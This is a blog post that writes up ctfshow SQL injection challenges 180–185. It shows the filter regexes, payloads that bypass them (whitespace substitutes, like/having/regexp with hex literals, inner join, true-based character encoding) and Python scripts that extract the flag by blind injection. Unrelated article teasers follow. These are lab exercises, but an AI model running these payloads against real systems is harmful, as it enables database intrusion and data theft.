ctfshow sql

180  过滤%23

%23被过滤,没办法注释了,还可以用’1’='1来闭合后边。

或者使用--%0c--

1'%0corder%0cby%0c3--%0c--

1'%0cunion%0cselect%0c1,2,database()--%0c--

1'%0cunion%0cselect%0c1,2,table_name%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'--%0c--

1'%0cunion%0cselect%0c1,2,column_name%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'--%0c--

1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user--%0c--

181  优先级

过滤了很多

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }

这里通过优先级进行绕过

and > or 所以and会先执行
因为1 and 0 ====0
     
1 and 0 or 1  就会变为   0 or 1  =====1
     
所以我们可以根据这个特性绕过

-1'||username='flag

182 id查询

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }
      

 因为flag被过滤了,所以不能用上面一题的

但是我们可以知道flag的id是26

-1'||id='26

 183  构造where like绕过

的确很懵b

查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(pass) from ".$_POST['tableName'].";";
      

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }

      

查询结果

//返回用户表的记录总数
      $user_count = 0;
      

 tableName用post传参

我们知道当前表名叫做ctfshow_user

传参试试

$sql = "select count(pass) from ".$_POST['tableName'].";";

放进sql查询,因为语句中没有where,我们要加上where子句

select count(pass) from "ctfshow_user" where pass = ctf#";

但是我们上面可以看到很多被过滤了,=也被过滤了,用like来绕过

看下like的模糊匹配

(ctfshow_user)where(pass)like'ctf%'
ctf%匹配ctf开头

import requests
import string
url="http://aa24dff0-c290-4c34-adf3-fa3279663bca.challenge.ctf.show/select-waf.php"
payload="(ctfshow_user)where(pass)like'ctfshow{0}%'"
flag=''

for i in range(1,50):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
        payload1=payload.format(flag+j)
        data={'tableName':payload1}
        r=requests.post(url=url,data=data)
        if "$user_count = 1;" in r.text:
            flag+=j
            print(flag)

 

 184

where、单双引号、反引号都被过滤了,但是没有过滤空格。
 

查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";
      

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

      

查询结果

//返回用户表的记录总数
      $user_count = 0;

因为没有了单双引号,因此我们无法继续采用正则匹配。因此我们只能使用非字符串的方式来匹配。那么选择使用16进制来匹配。

where可以用having来绕过

看下我上篇写的having语句

SELECT TABLE_NAME,sum(ORDINAL_POSITION) FROM `COLUMNS` GROUP BY TABLE_NAME HAVING sum(ORDINAL_POSITION)>30
 
查询两列,table_name,还有ordinal_position求和,用group by来组合两列,用having来限制条件

regexp 正则匹配

 SQL学习笔记 -- REGEXP - 知乎

tableName=ctfshow_user group by pass having pass regexp(0x63746673686f777b)

ctfshow{的十六进制编码就是0x63746673686f777b

这里随便猜了一下,第一位是2

import requests
import string
url="http://e67a2fc8-3328-4651-8709-8fb693e5f87f.challenge.ctf.show/select-waf.php"
payload="ctfshow_user group by pass having pass regexp(0x63746673686f777b{0})"
flag=''

def str_to_hex(str):
    return ''.join([hex(ord(c)).replace('0x','') for c in str])  //replace()函数将十六进制字符串中的前缀"0x"替换为空字符串。
for i in range (1,50):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
        payload1=payload.format(str_to_hex(flag+j))
        # print(payload1)
        data={'tableName':payload1}
        r=requests.post(url=url,data=data)
        # print(r.text)
        if "$user_count = 1;" in r.text:
            flag+=j
            print(flag)


uuid = string.ascii_lowercase+string.digits+"-{}"
这里的j字符串变量可以用这些函数
string.ascii_lowercase 是一个包含英文字母小写的字符串常量。
string.digits 是一个包含十进制数字(0-9)的字符串常量。

一直报不出来mmd又是过期了环境,重新开了一个

 一开始搞不懂为什么要先进行ascii编码,然后直接试了一下,原来字符串不能直接进行hex十六进制编码

需要先取ASCII值,然后再hex

like

居然也可以用like 我还以为十六进制不行

but 发现只要like后面不加单引号,他也能匹配到

记住还有%,先进行编码一下

好了验证成功,我们来试一下payload

tableName=ctfshow_user group by pass having pass like (0x63746673686f777b25)

好了来修改脚本

import requests
import string
url="http://e67a2fc8-3328-4651-8709-8fb693e5f87f.challenge.ctf.show/select-waf.php"
payload="ctfshow_user group by pass having pass like (0x63746673686f777b{0})"
flag=''

def str_to_hex(str):
    return ''.join([hex(ord(c)).replace('0x','') for c in str])
for i in range (1,50):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
        payload1=payload.format(str_to_hex(flag+j+'%'))
        # print(payload1)
        data={'tableName':payload1}
        r=requests.post(url=url,data=data)
        # print(r.text)
        if "$user_count = 1;" in r.text:
            flag+=j
            print(flag)

主要是%

INNER join on

SQL INNER JOIN 关键字 | 菜鸟教程

INNER join on可以绕过where

先在mysql里面试一下

payload

tableName=ctfshow_user a inner join ctfshow_user b on b.pass like 0x63746673686f7725

脚本

import requests
import string
url="http://e67a2fc8-3328-4651-8709-8fb693e5f87f.challenge.ctf.show/select-waf.php"
payload="ctfshow_user a inner join ctfshow_user b on b.pass like 0x63746673686f777b{0}"
flag=''

def str_to_hex(str):
    return ''.join([hex(ord(c)).replace('0x','') for c in str])
for i in range (1,50):
    for j in '0123456789abcdefghijklmnopqrstuvwxyz-{}':
        payload1=payload.format(str_to_hex(flag+j+'%'))
        # print(payload1)
        data={'tableName':payload1}
        r=requests.post(url=url,data=data)
        # print(r.text)
        if "$user_count = 22;"  in r.text:
            flag+=j
            print(flag)

185  true代替数字,concat+chr代替引号

查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";
      

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

      

查询结果

//返回用户表的记录总数
      $user_count = 0;
      

1、没有数字,我们需要构造出数字

 查看该语言是否存在可以被识别成数字的关键字(true为1,false为0)

我们先在mysql里面尝试一下看看

 SELECT true from information_Schema.columns

SELECT true+true from information_Schema.columns 

 SELECT char(true+true) from information_Schema.columns

把数字通过true来代替

import requests
url="http://69d16b4e-5bb1-4d21-bb3b-217be0426d81.challenge.ctf.show/select-waf.php"
payload='ctfshow_user a inner join ctfshow_user b on b.pass like ()'
flag='ctfshow{'
def createNum(s):
    num = 'true'  //把数字定义为true
    if s == 1:
        return 'true'
    else:
        for i in range(s-1):
            num +='+true'
        return num  //数字为几就返回几个true


a=4
print(createNum(a))

import requests
url="http://69d16b4e-5bb1-4d21-bb3b-217be0426d81.challenge.ctf.show/select-waf.php"
payload='ctfshow_user a inner join ctfshow_user b on b.pass like ()'
flag='ctfshow{'
def createNum(s):
    num = 'true'
    if s == 1:
        return 'true'
    else:
        for i in range(s-1):
            num +='+true'
        return num
def createStrNum(n):
    str=''
    str+="chr("+createNum(ord(n[0]))+")"  //第一个字符转为true格式 然后再加上chr 即可
    for i in n[1:]:
        str += ",chr(" + createNum(ord(i)) + ")"
    return str


a='4'
print(createStrNum(a))

4的ascii是52

 简而言之,这两个函数实现的功能就是:

a=4

4的ascii码是52

那么第一个函数createNum(s)把数字转换成true字符串

第二个函数加上chr()

chr(true+true+.....+true)

这里还需要使用concat,使得 串在一起

import string

import requests

url = 'http://087df77e-3225-4a02-b671-225d996908c5.challenge.ctf.show/select-waf.php'
payload = 'ctfshow_user group by pass having pass like(concat({}))'
flag = 'ctfshow{'


def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
        return num


def createStrNum(c):
    str = ''
    str += 'chr(' + createNum(ord(c[0])) + ')'
    for i in c[1:]:
        str += ',chr(' + createNum(ord(i)) + ')'
    return str


uuid = string.ascii_lowercase + string.digits + "-{}"

for i in range(1, 50):
    for j in uuid:
        payload1 = payload.format(createStrNum(flag + j + "%"))
        # print(payload1)
        data = {
            'tableName': payload1
        }
        re = requests.post(url=url, data=data)
        if "$user_count = 0;" not in re.text:
            flag += j
            print(flag)
            if j == '}':
                exit()
            break

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/186767.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

多线程Thread(初阶三:线程的状态及线程安全)

目录 一、线程的状态 二、线程安全 一、线程的状态 1.NEW Thread:对象创建好了,但是还没有调用 start 方法在系统中创建线程。 2.TERMINATED: Thread 对象仍然存在,但是系统内部的线程已经执行完毕了。 3.RUNNABLE: 就绪状态&…

基于Python 中创建 Sentinel-2 RGB 合成图像

一、前言 下面的python代码将带您了解如何从原始 Sentinel-2 图像创建 RGB 合成图像的过程。 免费注册后,可以从 Open Access Hub 下载原始图像。 请注意,激活您的帐户可能需要 24 小时! 二、准备工作 (1)导入必要的库…

【Mybatis-Plus篇】Mybatis-Plus基本使用

💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

跳转应用市场详情页market

关于作者:CSDN内容合伙人、技术专家, 从零开始做日活千万级APP。 专注于分享各领域原创系列文章 ,擅长java后端、移动开发、商业变现、人工智能等,希望大家多多支持。 未经允许不得转载 目录 一、导读二、概览三、跳转到各大厂商应…

思科模拟器操作命令

模式 思科模拟器常见的模式有 用户模式 能够操作的命令比较少 特权模式特权模式下面可以操作的比较多 全局模式 接口模式 用户模式进入特权模式: 命令enable 特权模式进行全局模式命令: configure terminal 退出命令 exit命令:返回上一层,即一步一步…

Windows核心编程 进程间通信

目录 进程间通信概述 发送消息 WM_COPYDATA DLL共享段 文件映射 文件相关API CreateFile ReadFile WriteFile CloseHandle SetFilePointerEx 设置文件指针 获取文件大小 GetFileSize 结构体 LARGE_INTEGER 文件映射用于读写文件数据 文件映射用于进程间通信(带文…

百度搜索框中的下拉提示关键词提取

效果图 代码有点多,绑定资源了 导出excel如下 贴心养眼背景图鼠标点击小爱心

pat实现基于邻接矩阵表示的深度优先遍历

void DFS(Graph G, int v) {visited[v] 1;printf("%c ", G.vexs[v]);for (int i 0; i < G.vexnum; i) {if (!visited[i] && G.arcs[v][i]) DFS(G, i);} }

C# 读写FDX-B(ISO11784/85)动物标签源码

本示例使用的发卡器&#xff1a;EM4305 EM4469 ISO11784/85协议125K低频FXD-B动物标签读写发卡器-淘宝网 (taobao.com) using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using S…

API 设计:使用 Node.js 和 Express.js 的综合教程

API&#xff08;应用程序编程接口&#xff09;设计涉及创建一个高效而强大的接口&#xff0c;允许不同的软件应用程序相互交互。 说明 本教程将指导您使用 Node.js 和 Express.js 作为核心技术来规划、设计和构建 API。但是&#xff0c;这些原则可以应用于任何语言或框架。我们…

APP软件外包开发需要注意的问题

在进行APP软件开发时&#xff0c;有一些关键问题需要特别注意&#xff0c;以确保项目的成功和用户满意度。以下是一些需要注意的问题&#xff0c;希望对大家有所帮助。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&#xff0c;欢迎交流合作。 清晰的需求定义&a…

详解STUN与TR111

STUN协议定义了三类测试过程来检测NAT类型&#xff1a; Test1&#xff1a;STUN Client通过端口{IP-C1:Port-C1}向STUN Server{IP-S1:Port-S1}发送一个Binding Request&#xff08;没有设置任何属性&#xff09;。STUN Server收到该请求后&#xff0c;通过端口{IP-S1:Port-S1}把…

统计二叉树中的伪回文路径 : 用位运用来加速??

题目描述 这是 LeetCode 上的 「1457. 二叉树中的伪回文路径」 &#xff0c;难度为 「中等」。 Tag : 「DFS」、「位运算」 给你一棵二叉树&#xff0c;每个节点的值为 1 到 9 。 我们称二叉树中的一条路径是 「伪回文」的&#xff0c;当它满足&#xff1a;路径经过的所有节点值…

一个正整数转为2进制和8进制,1的个数相同的第23个数是什么?

package cn.com;import java.lang.*;//默认加载public class C2 {//10进制转8进制static int HtoO(int n){int cnt 0;while(n!0){cntn%8;n/8;}return cnt;}//10进制转2进制static int HtoB(int n){int cnt 0;while(n!0){cntn%2;n/2;}return cnt;}public static void main(Str…

Windows服务设置多个服务依赖项避免服务启动失败找不到数据库

添加多个服务依赖项建议通过命令行的方式添加&#xff1a; winr键打开命令行 cmd 命令行添加命令如下&#xff1a; sc config "thinvent-auth" depend "MySQL57"/"RabbitMQ"/"Redis" sc config "服务A" depend "服务…

C#,《小白学程序》第十四课:随机数(Random)第一,几种随机数的计算方法与代码

1 文本格式 /// <summary> /// 《小白学程序》第十四课&#xff1a;随机数&#xff08;Random&#xff09;第一&#xff0c;几种随机数的计算方法与代码 /// 本课初步接触一下随机数。 /// </summary> /// <param name"sender"></param> ///…

LiveVIS视图库1400-如何切换数据库?默认使用的数据库是什么?如何切换到Mysql/MariaDB?

LiveVIS视图库1400-如何切换数据库&#xff1f;默认使用的数据库是什么&#xff1f;如何切换到Mysql/MariaDB? 1、切换成Mysql/Mariadb数据库1.1 连接数据库1.2 创建数据库实例1.3 配置.ini文件1.4 重启完成切换 1、切换成Mysql/Mariadb数据库 LiveVIS 默认使用 sqlite3 文件…

重新开启GPT Plus充值通道——基于前端开发者工具

chatGPT PLUS充值通道的关闭 由于chatGPT用户激增&#xff0c;近日&#xff0c;OpenAI的CEO Sam Altman宣布需要暂停新用户对ChatGPT Plus的订阅。在X上&#xff0c;他表达了对于确保用户体验的承诺&#xff0c;同时也提到了用户可以通过应用程序内的通知功能来了解服务恢复的…

笔记本电脑可以投屏到电视吗?Win、Mac、Linux分别怎么投屏?

如果你的电视是安卓电视&#xff0c;那么答案是&#xff1a;完全可以&#xff01; 不管你的笔记本电脑是Windows系统、macOS系统还是Linux系统&#xff0c;你都可以借助AirDroid Cast的电脑客户端或网页版&#xff0c;将电脑屏幕投屏到安卓智能电视上。 首先&#xff0c;你需要…

Unity技美35——再URP管线环境下,配置post后期效果插件(post processing)

前两年在我的unity文章第10篇写过&#xff0c;后效滤镜的使用&#xff0c;那时候大部分项目用的还是unity的基础管线&#xff0c;stander管线。 但是现在随着unity的发展&#xff0c;大部分项目都用了URO管线&#xff0c;甚至很多PC端用的都是高效果的HDRP管线&#xff0c;这就…